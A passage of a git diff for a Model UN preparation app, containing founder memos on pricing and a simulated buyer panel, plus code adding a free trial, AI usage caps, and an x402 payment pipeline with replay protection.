contribution is ₹254 (85%). Moving to ₹399 lifts year-1 profit from ₹329,566 to ₹468,496 and raises the margin to 87%. Moving to ₹199 still leaves a healthy business. **Price is not where this business is fragile.** + +## The change to make + +**Add a free first experience — and be specific about it, because "add a free tier" is advice, not a decision.** Three options, ranked by what they cost and what they prove: + +| Option | What it is | Cost to the founder | What it proves | +|---|---|---|---| +| **A. One free brief per account** *(recommended)* | New account gets one complete Quick-mode research brief for their own committee, agenda and country, once, no card. After that, pay. | ~₹0.07 of inference + the abuse controls already in place | Whether the output is good enough to be worth ₹199 — the exact question every non-buying buyer asked | +| **B. Two-day trial on the weekly pass** | Time-boxed access to the weekly pass, no card, once per account | same inference, higher token abuse risk | same, plus whether they come back | +| **C. Free tier in the leader's shape** | 5–10 requests/day forever | recurring inference on freeloaders, plus it weakens the paid conversion | the leader's model, copied — it works, but it costs the most and models a different business | + +**Do A.** It costs approximately seven paise, it answers the single loudest objection in the panel ("why should I pay before I've seen if the output is any good?" — 4 buyers, plus "any free trial at all" as the top flip condition), and it requires no change to the price or to the plan structure. The panel's *most common* flip condition, across every segment, was a free look at the output. Option C is how Model Diplomat does it and would trade away the paid-only discipline that keeps this business simple; it is the right move only after A proves the output converts. + +## What the pricing should NOT be + +- **Do not discount to ₹99 or "₹49 first month".** The buyers already flag low prices as suspicious — ₹123 is the floor where they stop believing the quality. A launch discount teaches the market the true price is lower and it is hard to climb back from. +- **Do not launch a school/delegation price from the same page, yet.** The block sale is real (the panel's club-head cohort bought at 40% and one explicitly asked for a delegation price), but the shape of a school deal — seats, invoice, term dates, a teacher's sign-off — is a sales process, not a price point. Prove it with two real schools first, then put a number on it in `offer.md`. +- **Do not sell per-request or per-token.** The mode toggle already leaks the cost story to the buyer, which is a competitive weakness, not a feature. Nobody buys a MUN paper in "tokens". +- **Do not raise the price before the free brief exists.** The panel says they'd pay ₹800 before refusing. They also said they will not pay before they see. Fix the seeing first; then the price has room. + +## When to revisit + +- **After 50 real paying customers:** replace the panel's shape with real conversion data at ₹199 and ₹299 and re-run `van_westendorp.py` on real answers. +- **If the free brief converts above ~15%:** the ceiling is higher than modelled. Test ₹399 on new visitors rather than raising the existing price. +- **If the free brief converts below ~3%:** the problem is the output, not the price. Do not cut the price — that would hide the real finding. +- **If a school deal closes:** the per-seat effective price will be well below ₹299 and that is fine, because the block eliminates acquisition cost per delegate. + +**The one pricing sentence worth remembering:** the business's pricing is not broken, its *funnel* is — there is no way to experience the product before paying, and that is the exact question the loudest non-buyers asked. Fix the free first look, and the existing price should hold. diff --git a/founder/summary.md b/founder/summary.md new file mode 100644 index 0000000..91b9bf6 --- /dev/null +++ b/founder/summary.md @@ -0,0 +1,64 @@ +# Summary + +**Verdict: Not yet.** Three of the four computed checks pass. One fails — and it is the one that decides everything. + +## What has to change, and where + +The failing check is the buyer panel's buy rate: **9 of 40 simulated buyers buy (22%), against a 25% bar.** Nothing else failed. The unit economics pass comfortably and year 1 makes an operating profit. + +But the shape of the failure is more useful than the failure itself: + +- **The financial checks pass on guesses, and the demand check fails on a simulation.** Every one of the four checks rests on a number that has not been measured in the real world. The inference cost per customer is estimated from token ceilings in the code, the ramp is a plausible shape with no funnel behind it, and the buy rate comes from buyers I simulated. **So the verdict "Not yet" is a statement about the offer as modelled, not a prophecy about the market.** +- **It fails by one buyer.** 9/40 is 22.5%; 10/40 would be exactly 25% and would pass. The bar is not a cliff, and the verdict flips on a single simulated person. That is a reason to distrust the verdict's precision and *not* a reason to call it a pass — at 100 buyers the same 22% rate still fails, so the finding is the rate, not the sample size. + +**So the honest reading is: the money works, the market is unproven, and the single number that decides the verdict is the one number nobody has measured.** The fix is not in a spreadsheet. It is `launch.md` Step 1 — put a real founding-member offer in front of 150 real delegates and count. That test replaces the panel number, and it is the only thing that can. + +**What would change the verdict:** 15 real paying customers from 150 delegates reached directly (10%), which is a better real-world result than 22% of a simulated panel is evidence for. **What would confirm it:** under 5, in which case the answer is "no, not yet" and the response is `offer.md`, not marketing. + +## The business + +**MUN Prep is an AI preparation workspace for Model UN delegates in India — tell it your committee, agenda and country, and it drafts the research brief, position paper, speech, POIs and resolution clauses, with MUN courses and quizzes alongside.** It is sold to delegates aged 14–22 preparing for a specific conference date, at ₹199 for the week of a conference or ₹299 for a month, paid by UPI, with **no free tier and no free trial**. + +## The three numbers + +| | | +|---|---| +| **Contribution per monthly pass** | **₹254** (85%) — ₹299 less ~₹25 of inference and ~₹20 of amortised referral commission | +| **Break-even** | **~8 passes a month** — one every four days. Fixed costs are only ₹1,943/month, because UroPay charges **zero per-transaction commission** and Supabase's free tier carries the database | +| **Year 1 operating profit** | **₹329,566** on ₹415,401 of revenue, at 0.2 passes/day in month 1 rising to 8.5 by month 12 | + +**Cash needed to start: ~₹15,400** (₹15,000 of startup spend plus the month-1 shortfall). Cumulative cash turns positive in **month 4**. This business can be started without investment. + +**Sensitivity:** the financial structure is robust. Volume down 60% still yields ₹117,837 in year 1 at a 78% margin. A 10% price cut costs ₹41,540 of year-1 profit and changes nothing structural. **Only one input can break it, and it is not demand — see the biggest risk below.** + +## Where the board and the panel agreed, and where they disagreed + +**Agreed.** The board's three lenses (2 fund-if, 1 pass, average 5.7/10) and the buyer panel point at the same two failures without having seen each other's work. The Offers and Product lenses both identified *price hidden behind sign-in* and *pay before seeing* as the top kill risks. The panel independently made them the top two objections: **trust (10 of 31 non-buyers)** and **"show me before I pay"** (the most common flip condition in every segment). When a simulated market and three analytical lenses converge on the same defect, that defect is real regardless of whether either method is sound. + +**Disagreed — and this is the more interesting part.** The Product lens scored 7/10 and wants the product let out of the box; the Monopoly lens scored 4/10 and says a well-built product in a crowded market with no moat is still a bad business. **The panel sided with neither: it bought at 60% among award chasers and 40% among club coordinators, and at 0% among the night-before crammers the current marketing appeals to.** That is a third answer — the product is not the problem and the market is not the problem, **the buyer being targeted is the problem.** The offer is aimed at casual delegates with a 0% buy rate and priced at an audience that buys. + +**And the panel's most uncomfortable finding, which nobody predicted:** the biggest cohort in the panel (prepares the night before, 8 buyers) bought at **0%**. The largest apparent market is the least willing to pay. + +## The biggest risk + +**A single heavy user of the "Max" mode can cost more than they pay.** Kimi K3 costs ₹13.86 per request — **191× the default model** — and the mode toggle is user-selectable on both plans with identical daily caps (60 requests / 300,000 tokens) on a ₹199 weekly pass and a ₹299 monthly pass. **One Max request a day loses ₹117/month per user. Five loses ₹1,780.** Modelled with a heavy Max user as the average, contribution goes to **−₹1,800 per pass and the business never breaks even at all.** The caps bound one user's damage at roughly ₹11,880/month — 40× what they paid. + +**What will be done:** cap Max per pass (or move it behind the monthly tier) so it becomes a ceiling instead of an open tap. This is a one-line policy change, it is the highest-value fix in the pack, and it removes the entire downside scenario. The second-order version — deleting the mode toggle and letting the server pick the model — also lifts contribution from ₹254 to ~₹271 by cutting inference per pass from ₹25 to ~₹8, and answers the Product lens's finding that a token slider is a spec sheet, not a feature. + +**And the risk that is not money:** the product is built for delegates aged roughly 14–22, a large share of them **minors**, and there is **no age gate and no parental-consent flow anywhere in the code**. India's DPDP Act treats under-18s as children and requires verifiable parental consent for their data. A product marketed to schoolchildren that stores their conversations needs this before the school channel is worked, not after. **This is the one item in the pack with a lawyer's name against it.** + +## What is needed to start + +**₹15,400 of cash** (CFO) and **one real test** (launch): a "Founding 50" offer — the first 50 delegates get a month for ₹199, the price of a week — announced only to people the founder reaches directly, with a written success line of **15 paid from 150 delegates reached in 14 days**, and a decision rule fixed in advance so the result cannot be argued with. + +## The one thing to do this week + +**Build the free first brief: one complete research brief, free, once per account, before anyone is asked to pay.** + +It costs about **seven paise** to serve. It answers the single objection shared by the largest group of non-buyers and the most common flip condition in every segment. It is the precondition for the launch test, and it is on the critical path — if it slips, the launch date slips with it, because launching without it means relaunching into the funnel that currently converts nobody. + +**Do this one thing before anything else in the pack.** + +--- + +**How to read this pack.** The panel is **simulated buyers**, and the money figures are **projections from modelled inputs** — real customers and real quotes are what confirm them, and the launch test is designed to produce exactly that. This is **not financial, legal or tax advice**: the GST position on digital services, the treatment of referral commissions for withholding tax, business registration, and the children's-data question all need an accountant or a lawyer before money moves at scale. Where a number is an estimate rather than a measurement, `cfo-sources.md` says so and names it. diff --git a/lib/plans.ts b/lib/plans.ts index 8e9645a..1c087cf 100644 --- a/lib/plans.ts +++ b/lib/plans.ts @@ -1,5 +1,5 @@ export type Plan = { - id: "weekly-pass" | "monthly-pass"; + id: "weekly-pass" | "monthly-pass" | "free-trial"; name: string; description: string; amount: number; @@ -46,20 +46,76 @@ const legacyPlanIds: Record = { "weekly-pass": "weekly-pass", monthly: "monthly-pass", "monthly-pass": "monthly-pass", + // NOTE: `trial` is deliberately absent. `create-order` resolves the amount it + // charges through getPlan(), so aliasing an extra id into the plan table is a + // way to let a caller buy something the catalogue does not sell. The trial is + // granted only by start_free_trial(), never by the purchase path. + "free-trial": "free-trial", }; +/** + * The free trial, deliberately NOT a member of `plans`. + * + * `plans` is the catalogue a visitor can buy, and it is rendered directly by + * the paywall modal and the pricing page — putting a ₹0 entry there would + * advertise a plan with a "Buy now" button that must not exist. It is still a + * *plan* for labelling purposes, so `getPlanForDisplay()` resolves it while + * `getPlan()` — the resolver the checkout path trusts — does not. + */ +export const FREE_TRIAL_PLAN_ID = "free-trial"; + +/** Days of free access granted once, automatically, to a new account. */ +export const FREE_TRIAL_DAYS = 3; + +export const freeTrialPlan: Plan = { + id: FREE_TRIAL_PLAN_ID, + name: "Free Trial", + description: "Three days of full access, granted once to every new account.", + amount: 0, + currency: "INR", + accessDays: FREE_TRIAL_DAYS, + features: [ + "AI research workspace", + "Country policy profiler", + "Position paper builder", + "Speech and POI practice", + "Resolution clause drafting" + ] +}; + +/** True when a plan id (or alias) refers to the one-time free trial. */ +export function isTrialPlanId(planId: string | null | undefined) { + return canonicalPlanId(planId) === FREE_TRIAL_PLAN_ID; +} + /** Normalize a plan id alias to its canonical plan id, or null if unknown. */ export function canonicalPlanId(planId: string | null | undefined) { if (!planId) return null; return legacyPlanIds[planId.trim().toLowerCase()] ?? null; } -/** Look up a plan by id or alias, returning undefined when not found. */ +/** + * Look up a **purchasable** plan by id or alias. + * + * This is the resolver the checkout path uses to decide what to charge, so it + * must never return the free trial. Keep it that way. + */ export function getPlan(planId: string | null | undefined) { const canonicalId = canonicalPlanId(planId); return plans.find((plan) => plan.id === canonicalId); } +/** + * Look up any plan an account can be *on*, including the free trial. + * + * Display only — never use this to decide a price. + */ +export function getPlanForDisplay(planId: string | null | undefined) { + const canonicalId = canonicalPlanId(planId); + if (canonicalId === FREE_TRIAL_PLAN_ID) return freeTrialPlan; + return plans.find((plan) => plan.id === canonicalId); +} + /** Format a plan amount stored in paise as an INR currency string. */ export function formatPlanPrice(plan: Plan) { return new Intl.NumberFormat("en-IN", { diff --git a/lib/server/ai-usage.ts b/lib/server/ai-usage.ts index 8d81976..d7ae393 100644 --- a/lib/server/ai-usage.ts +++ b/lib/server/ai-usage.ts @@ -38,12 +38,28 @@ export type AiUsageReservation = { reservedTokens: number; }; +/** + * Per-call limit overrides. + * + * `0` means "no cap" to `reserve_ai_usage`, so these are resolved with `??` + * rather than `||` — a trial's `requestCap: 0` is a deliberate instruction to + * lift the limit, and `||` would silently replace it with the paid default. + */ +export type AiUsageLimits = { + requestCap?: number; + tokenCap?: number; +}; + /** * Atomically checks daily limits and reserves both the request and its maximum * prompt/completion budget before any provider work begins. Missing RPCs or * ledger errors fail closed; there is deliberately no read-then-write fallback. */ -export async function reserveAiUsage(uid: string, reservedTokens: number): Promise { +export async function reserveAiUsage( + uid: string, + reservedTokens: number, + limits?: AiUsageLimits +): Promise { const safeReservation = Math.floor(reservedTokens); // Mirrors reserve_ai_usage: the reservation ledger requires 1..1,000,000 tokens. if (!uid || !Number.isSafeInteger(safeReservation) || safeReservation < 1 || safeReservation > 1_000_000) { @@ -53,8 +69,8 @@ export async function reserveAiUsage(uid: string, reservedTokens: number): Promi const { data, error } = await supabaseAdmin().rpc("reserve_ai_usage", { p_uid: uid, p_day: todayKey(), - p_request_cap: dailyRequestCap(), - ["p_" + "token_cap"]: dailyTokenCap(), + p_request_cap: limits?.requestCap ?? dailyRequestCap(), + ["p_" + "token_cap"]: limits?.tokenCap ?? dailyTokenCap(), ["p_reserved_" + "tokens"]: safeReservation, }); diff --git a/lib/server/trial.ts b/lib/server/trial.ts new file mode 100644 index 0000000..e10f57e --- /dev/null +++ b/lib/server/trial.ts @@ -0,0 +1,146 @@ +import { ApiError } from "@/lib/api"; +import { logger } from "@/lib/server/secure-logger"; +import { supabaseAdmin } from "@/lib/supabase/server"; +import { getEntitlement, type Entitlement } from "@/lib/server/entitlements"; +import { FREE_TRIAL_DAYS, isTrialPlanId } from "@/lib/plans"; + +/** Read a bounded integer from the environment, falling back when invalid. */ +function envInt(name: string, fallback: number, min: number, max: number) { + const raw = Number(process.env[name]); + if (!Number.isFinite(raw)) return fallback; + return Math.min(max, Math.max(min, Math.floor(raw))); +} + +/** Days of free access granted to a new account. Bounded to match the RPC. */ +export function freeTrialDays() { + return envInt("AI_FREE_TRIAL_DAYS", FREE_TRIAL_DAYS, 1, 30); +} + +/** + * Daily token budget for a trial account. + * + * The trial lifts the *request* limit (see `trialUsageLimits`) but not the cost + * ceiling, because "unlimited prompts" must not mean "unbounded spend on a free + * account". This is set well above anything a person can type — a delegate + * prepping hard for a conference uses a few hundred thousand tokens across the + * whole trial — so it is invisible in normal use and binds only on a script. + */ +export function trialDailyTokenCap() { + // The floor is not arbitrary: a single request reserves its prompt plus the + // full completion ceiling (up to ~18,000 tokens at the trial's maximum), so a + // cap below that would make every request fail and the trial unusable. If a + // tighter allowance than this is wanted, shorten the trial instead. + return envInt("AI_TRIAL_DAILY_TOKEN_CAP", 1_000_000, 100_000, 5_000_000); +} + +/** + * Usage limits for a trial account: unlimited requests, bounded tokens. + * + * `requestCap: 0` means "no request cap" to `reserve_ai_usage`, which is what + * makes the trial genuinely unlimited in the sense the feature promises. + */ +export function trialUsageLimits() { + return { requestCap: 0, tokenCap: trialDailyTokenCap() }; +} + +/** True when an entitlement is the one-time free trial rather than paid access. */ +export function isTrialEntitlement(entitlement: Entitlement | null | undefined) { + return Boolean( + entitlement && + entitlement.status === "active" && + isTrialPlanId(entitlement.planId) + ); +} + +export type TrialGrantResult = { + granted: boolean; + /** True when the RPC could not be reached, so the caller must not assume anything. */ + errored: boolean; +}; + +/** + * Grant the free trial to an account that has never had an entitlement. + * + * Idempotent by construction: `start_free_trial` inserts only when no + * entitlement row exists for the uid, so calling this on every authenticated + * request is safe and cannot extend or repeat a trial. + * + * Never throws. A failure here must not break a request — a paying user whose + * trial RPC is briefly unreachable must still reach their paid tools — so the + * error is logged and the caller falls through to the entitlement read, which + * remains the only authority on access. + */ +export async function ensureTrialEntitlement(uid: string): Promise { + if (!uid) return { granted: false, errored: true }; + + try { + const { data, error } = await supabaseAdmin().rpc("start_free_trial", { + p_uid: uid, + p_days: freeTrialDays(), + }); + + if (error) { + logger.warn("Free trial grant could not be evaluated:", error.message); + return { granted: false, errored: true }; + } + + const row = (Array.isArray(data) ? data[0] : data) as + | { granted?: boolean | null } + | null; + + const granted = Boolean(row?.granted); + + if (granted) { + logger.info("Free trial granted", { + uid: uid.slice(0, 8), + days: freeTrialDays(), + }); + } + + return { granted, errored: false }; + } catch (error) { + logger.warn( + "Free trial grant threw:", + error instanceof Error ? error.message : "unknown error" + ); + return { granted: false, errored: true }; + } +} + +/** + * Read an account's entitlement, starting the one-time trial if it has none yet. + * + * Costs one read for an account that already has access — the common case — and + * only reaches for the grant RPC when the account is inactive, so paying users + * never pay for a trial write on every request. Never throws: a failure to + * grant is logged and the (inactive) entitlement is returned as-is. + */ +export async function resolveEntitlementWithTrial(uid: string): Promise { + const entitlement = await getEntitlement(uid); + + if (entitlement.status === "active") return entitlement; + + const { granted } = await ensureTrialEntitlement(uid); + return granted ? getEntitlement(uid) : entitlement; +} + +/** + * The gate for a paid tool: the account must end up active, either because it + * is on a paid plan or because its one-time trial just started. + * + * This is `assertPaidAccess` with the trial in front of it, and it throws the + * same 402 the paywall already handles, so no client changes are needed. + */ +export async function assertPaidAccessOrStartTrial(uid: string): Promise { + const entitlement = await resolveEntitlementWithTrial(uid); + + if (entitlement.status !== "active") { + throw new ApiError( + 402, + "paid_access_required", + "This tool is part of the paid MUN prep workspace." + ); + } + + return entitlement; +} diff --git a/lib/server/x402-fulfil.ts b/lib/server/x402-fulfil.ts new file mode 100644 index 0000000..7d9dca5 --- /dev/null +++ b/lib/server/x402-fulfil.ts @@ -0,0 +1,376 @@ +/** + * SERVER-ONLY MODULE — never import from client components. + * + * Shared x402 fulfilment pipeline. + * + * Both paid routes (the bot knowledge base and the AI research endpoint) must + * perform the same ordered sequence. Centralising it here means a future change + * to the payment flow cannot drift between the two, which is how a route + * silently loses a control. + * + * ORDER MATTERS: + * + * 1. derive identity (from signed fields only) + * 2. pre-check claim (cheap; rejects obvious replays before spending gas) + * 3. settle (on chain, via the facilitator) + * 4. claim atomically (THE authoritative one-payment-one-grant decision) + * 5. record ledger (reporting; never blocks a paid-for grant) + * 6. release the resource (only reached when step 4 returned ok) + * + * The resource is never released on the strength of verification alone, and + * never on the strength of settlement alone: settlement without a successful + * claim is exactly the replay window this pipeline exists to close. + */ + +import { logger } from "@/lib/server/secure-logger"; +import { + X402_PAID_CONTENT_CACHE_CONTROL, + X402_PAYMENT_CACHE_CONTROL, + getX402HttpServer, + buildX402Response, + recordX402Payment, + type X402PaymentVerifiedResult, +} from "@/lib/server/x402-server"; +import { + claimX402Payment, + countPayerClaimsSince, + deriveX402PaymentIdentity, + isX402PaymentClaimed, + startOfUtcDay, + x402OrderRef, + type X402PaymentIdentity, +} from "@/lib/server/x402-payment-guard"; + +export type X402FulfilOutcome = + | { + ok: true; + /** Settlement headers to attach to the granted response. */ + headers: Record; + transaction: string; + identity: X402PaymentIdentity; + } + | { + ok: false; + /** Response to return instead of the resource. */ + response: Response; + }; + +/** Builds a JSON error response that is never cacheable. */ +function jsonNoStore( + status: number, + body: Record, + extraHeaders?: Record +): Response { + const headers = new Headers({ + "Content-Type": "application/json", + "Cache-Control": X402_PAYMENT_CACHE_CONTROL, + }); + + for (const [key, value] of Object.entries(extraHeaders ?? {})) { + headers.set(key, value); + } + + return new Response(JSON.stringify(body), { status, headers }); +} + +/** + * The client already presented a payment that has been consumed. + * + * Answered with 409, not 402, on purpose: returning 402 would make a compliant + * x402 agent construct and sign a SECOND payment for a resource it has already + * paid for. 409 tells the caller the payment was real but is spent, so it stops + * rather than paying twice. + */ +function replayResponse(params: { + requestedResource: string; + claimedResource?: string; + identity: string; +}): Response { + return jsonNoStore(409, { + error: "This payment has already been used.", + code: "payment_already_consumed", + resource: params.requestedResource, + reason: + "Each x402 authorization settles exactly one request. Sign a new payment to access this resource again.", + }); +} + +type MachineBudget = + | { ok: true } + | { ok: false; reason: "exceeded"; used: number } + | { ok: false; reason: "unattributable" | "unavailable" }; + +/** + * Evaluates the daily per-payer machine request cap. + * + * The count is read from the claims table, which already records one row per + * consumed payment, so no additional ledger is required. + * + * Race note: the count is read immediately before settlement and the claim is + * written immediately after, so N concurrent requests from one payer can + * overshoot the cap by at most the concurrency of that burst. This is a quota, + * not a security boundary — replay protection is enforced atomically by the + * claim's PRIMARY KEY and is not affected. + */ +async function checkMachineDailyBudget( + payer: string | null, + cap: number +): Promise { + if (cap <= 0) return { ok: true }; + + if (!payer) { + // A well-formed EVM exact payment always carries a payer in its signed + // authorization, so an absent payer means the payload shape was not + // recognised. Refuse rather than grant unmetered access. + return { ok: false, reason: "unattributable" }; + } + + try { + const used = await countPayerClaimsSince(payer, startOfUtcDay()); + return used >= cap ? { ok: false, reason: "exceeded", used } : { ok: true }; + } catch { + return { ok: false, reason: "unavailable" }; + } +} + +/** Reads the optional `payment-identifier` extension id, for correlation only. */ +function extractPaymentIdHint(paymentPayload: unknown): string | null { + if (!paymentPayload || typeof paymentPayload !== "object") return null; + const extensions = (paymentPayload as { extensions?: unknown }).extensions; + if (!extensions || typeof extensions !== "object") return null; + + const declaration = (extensions as Record)["payment-identifier"]; + if (!declaration || typeof declaration !== "object") return null; + + const info = (declaration as { info?: unknown }).info; + if (!info || typeof info !== "object") return null; + + const id = (info as { id?: unknown }).id; + return typeof id === "string" && id.trim() ? id.trim() : null; +} + +/** + * Outcome of the on-chain settlement step. + * + * Mirrors the shape returned by the x402 resource server's `processSettlement` + * so the real implementation drops straight in. + */ +export type X402SettlementOutcome = { + success: boolean; + transaction?: string; + headers?: Record; + response?: { status: number; headers: Record; body?: unknown }; +}; + +/** + * Performs the on-chain settlement. Injectable so the ordering guarantees of + * this pipeline (settle before claim, no grant without a claim) can be tested + * without a facilitator or a funded wallet. + */ +export type X402SettlementStep = ( + verified: X402PaymentVerifiedResult +) => Promise; + +const defaultSettlementStep: X402SettlementStep = async (verified) => { + const server = await getX402HttpServer(); + return server.processSettlement( + verified.paymentPayload, + verified.paymentRequirements, + verified.declaredExtensions + ); +}; + +export interface FulfilX402PaymentParams { + /** Result of `processX402Request` when the payment verified. */ + verified: X402PaymentVerifiedResult; + /** + * The exact resource being bought. Recorded on the claim, and the basis for + * cross-resource replay detection. + */ + resourceKey: string; + /** Price of this route, used for the reporting ledger. */ + amountUsd: string; + /** Route label for logs and the ledger. */ + route: string; + /** + * Enforce the daily per-payer machine request cap before settling. + * + * Machine callers have no `auth.users` row, so the human AI ledger cannot + * meter them (and attempting it makes the route fail after payment has + * already settled — a systematic paid-but-denied). When enabled, the cap is + * evaluated against the claims table BEFORE settlement so an over-budget + * caller is refused without being charged. + */ + enforceMachineDailyCap?: number; + /** Settlement implementation; defaults to the facilitator. */ + settle?: X402SettlementStep; +} + +/** + * Settles the payment, consumes it atomically, and reports the result. + * + * Returns `ok: true` ONLY when the payment has been settled AND consumed. Any + * other outcome returns a response the caller must send instead of the + * resource. + */ +export async function fulfilX402Payment( + params: FulfilX402PaymentParams +): Promise { + const { verified, resourceKey, amountUsd, route, enforceMachineDailyCap } = params; + const settle = params.settle ?? defaultSettlementStep; + + const identity = deriveX402PaymentIdentity( + verified.paymentPayload, + verified.paymentRequirements + ); + + // ---- 2. Cheap replay pre-check (never the granting decision) ---------- + if (await isX402PaymentClaimed(identity.identity)) { + logger.error("SECURITY: x402 replay rejected before settlement", { + route, + resourceKey, + identity: identity.identity.slice(0, 16), + payer: identity.payer, + }); + + return { + ok: false, + response: replayResponse({ + requestedResource: resourceKey, + identity: identity.identity, + }), + }; + } + + // ---- 2b. Machine daily budget, evaluated BEFORE settlement ------------ + // Refusing an over-budget caller here means it is never charged. Checking + // after settlement would bill the caller for a request we then reject. + if (enforceMachineDailyCap !== undefined) { + const budget = await checkMachineDailyBudget(identity.payer, enforceMachineDailyCap); + + if (!budget.ok) { + if (budget.reason === "exceeded") { + logger.warn("x402 machine daily cap reached", { + route, + payer: identity.payer, + cap: enforceMachineDailyCap, + used: budget.used, + }); + + return { + ok: false, + response: jsonNoStore( + 429, + { + error: "Daily machine request limit reached. Please retry tomorrow.", + code: "machine_daily_limit", + limit: enforceMachineDailyCap, + }, + { "Retry-After": "3600" } + ), + }; + } + + // Unattributable payer or unreadable budget: fail closed without charging. + logger.error("x402 machine budget could not be evaluated — refusing to settle", { + route, + reason: budget.reason, + payer: identity.payer, + }); + + return { + ok: false, + response: jsonNoStore( + 503, + { + error: "Payment guard temporarily unavailable.", + code: "payment_guard_unavailable", + retryable: true, + }, + { "Retry-After": "5" } + ), + }; + } + } + + // ---- 3. Settle on chain ---------------------------------------------- + const settleResult = await settle(verified); + + if (!settleResult.success || !settleResult.transaction) { + // Settlement failed (nonce already consumed on chain, expired window, + // insufficient balance, ...). Surface the protocol's own 402 response. + return { + ok: false, + response: buildX402Response({ + response: settleResult.response ?? { + status: 402, + headers: { "Cache-Control": X402_PAYMENT_CACHE_CONTROL }, + body: { error: "Payment could not be settled.", code: "settlement_failed" }, + }, + }), + }; + } + + // ---- 4. Consume the payment (authoritative) --------------------------- + const claim = await claimX402Payment({ + identity, + resourceKey, + transactionHash: settleResult.transaction, + paymentIdHint: extractPaymentIdHint(verified.paymentPayload), + }); + + if (!claim.ok) { + if (claim.reason === "replay") { + // Settlement reported success but the authorization was already spent. + // This is the signature of a facilitator that is not authoritative for + // single-use. The resource must NOT be released. + return { + ok: false, + response: replayResponse({ + requestedResource: resourceKey, + claimedResource: claim.claimedResource, + identity: claim.identity, + }), + }; + } + + // The guard could not prove single-use. Fail closed: the payer may retry + // with a fresh authorization, which is strictly better than granting an + // unbounded number of times. + return { + ok: false, + response: jsonNoStore( + 503, + { + error: "Payment guard temporarily unavailable.", + code: "payment_guard_unavailable", + retryable: true, + }, + { "Retry-After": "5" } + ), + }; + } + + // ---- 5. Reporting ledger (best effort, never blocks a paid grant) ----- + await recordX402Payment({ + orderRef: x402OrderRef(identity.identity), + amountUsd, + network: verified.paymentRequirements.network, + payerAddress: identity.payer ?? undefined, + transactionHash: settleResult.transaction, + status: "paid", + route, + resourceKey, + }); + + // ---- 6. Hand back settlement headers --------------------------------- + return { + ok: true, + headers: settleResult.headers ?? {}, + transaction: settleResult.transaction, + identity, + }; +} + +/** Convenience re-exports so routes can set cache policy without extra imports. */ +export { X402_PAID_CONTENT_CACHE_CONTROL, X402_PAYMENT_CACHE_CONTROL }; diff --git a/lib/server/x402-machine-limits.ts b/lib/server/x402-machine-limits.ts new file mode 100644 index 0000000..078659c --- /dev/null +++ b/lib/server/x402-machine-limits.ts @@ -0,0 +1,104 @@ +/** + * What each class of caller is allowed to spend per request. + * + * Three classes reach this product's AI route, and they are paying very + * different amounts for the same button: + * + * paid — a ₹199/₹299 pass, metered by the 60-request / 300k-token ledger. + * trial — three free days. Unlimited requests (that is the feature), so the + * only thing standing between a script and the founder's card is + * the per-request cost ceiling below. + * machine — one $0.05 x402 payment. + * + * ## The machine bound + * + * At the published NVIDIA NIM rates (Sep–Oct 2026): + * + * Max — Kimi K3, $3/M in, $15/M out: + * 3,000 in + 12,000 out ≈ $0.189 → 3.8× the $0.05 price + * 10,000 in + 12,000 out ≈ $0.210 → 4.2× the price + * Thorough — GLM-5.3-Flash, $0.15/M in, $0.50/M out: + * 10,000 in + 8,000 out ≈ $0.0055 → 89% margin + * + * A paying bot could buy ~$0.19 of Kimi K3 inference for $0.05, and at the + * 60-request daily cap that is ~$8.30 of net loss per bot per day. **No + * completion length makes $0.05 cover the Max path**, so a machine caller is + * never routed to it. To sell Max to bots, raise + * `X402_ROUTE_PRICES.aiResearch` and `X402_MACHINE_COMPLETION_CEILING` together + * and re-do the arithmetic; `tests/x402-machine-limits.test.ts` asserts the + * cost bound and will fail if that is done carelessly. + * + * ## The trial bound + * + * A trial account has no request cap, so its exposure is + * `(requests the rate limiter allows) × (cost per request)`. On the cheap model + * the worst case is bounded by the trial's daily token budget — a million + * tokens is about ₹44/day even if every one of them were output. On Kimi K3 the + * same million tokens is about ₹1,320/day, which is why **Max is a paid-plan + * feature and is downgraded during the trial**. That does not cost the trial + * anything in experience: the workspace defaults to Quick. + * + * The human paid path is unaffected: the 300,000-token daily budget is what + * makes a Max request affordable for a subscriber who has actually paid. + */ + +/** The strongest mode one x402 payment covers. Both modes below run GLM-5.3-Flash. */ +export const X402_MACHINE_RESPONSE_MODE = "thorough" as const; + +/** Completion ceiling for a paid machine caller, within the $0.05 price. */ +export const X402_MACHINE_COMPLETION_CEILING = 8000; + +/** The strongest mode the free trial covers. Max runs Kimi K3 and is paid-only. */ +export const TRIAL_MAX_RESPONSE_MODE = "thorough" as const; + +export type AiAccessKind = "paid" | "trial" | "machine"; + +export type AiResponseMode = "quick" | "thorough" | "max"; + +export type GrantedResponseLimits = { + responseMode: AiResponseMode; + maxTokens: number | undefined; +}; + +/** + * The mode and token budget a request is actually granted. + * + * A *smaller* request is always honoured, so a caller asking for fewer tokens + * still gets fewer; a larger one is capped rather than rejected, so a caller + * receives the answer its access level buys instead of an error. + */ +export function grantedResponseLimits( + kind: AiAccessKind, + requestedMode: AiResponseMode | undefined, + requestedMaxTokens: number | undefined +): GrantedResponseLimits { + if (kind === "paid") { + // Mirrors the request schema's default, and otherwise preserves the exact + // value the caller sent (including undefined = use the mode ceiling). + return { responseMode: requestedMode ?? "quick", maxTokens: requestedMaxTokens }; + } + + if (kind === "trial") { + return { + // Quick and Thorough are honoured; Max is downgraded, not rejected, so a + // triallist who taps the premium toggle still gets a complete answer. + responseMode: + requestedMode === "max" + ? TRIAL_MAX_RESPONSE_MODE + : requestedMode ?? "quick", + maxTokens: requestedMaxTokens, + }; + } + + // Machine. The mode is fixed, not downgraded: honouring "quick" would be + // cheaper, but it would also leave the caller in control of which model runs, + // and the point of this clamp is that the price — not the request body — + // decides the cost. A caller that wants a shorter answer can still ask for + // fewer tokens, which is honoured here. + const maxTokens = + requestedMaxTokens && requestedMaxTokens < X402_MACHINE_COMPLETION_CEILING + ? requestedMaxTokens + : X402_MACHINE_COMPLETION_CEILING; + + return { responseMode: X402_MACHINE_RESPONSE_MODE, maxTokens }; +} diff --git a/lib/server/x402-payment-guard.ts b/lib/server/x402-payment-guard.ts new file mode 100644 index 0000000..2460393 --- /dev/null +++ b/lib/server/x402-payment-guard.ts @@ -0,0 +1,460 @@ +/** + * SERVER-ONLY MODULE — never import from client components. + * + * x402 one-payment-one-grant guard. + * + * WHY THIS EXISTS + * --------------- + * The x402 reference stack has no HTTP-layer idempotency. Its own + * specification states that replay is prevented because "each authorization + * includes a unique 32-byte nonce" and "EIP-3009 contracts inherently prevent + * nonce reuse at the smart contract level" — which protects the TOKEN, not the + * SERVICE. `/verify` is stateless, so a captured `PAYMENT-SIGNATURE` verifies + * successfully every time it is presented. + * + 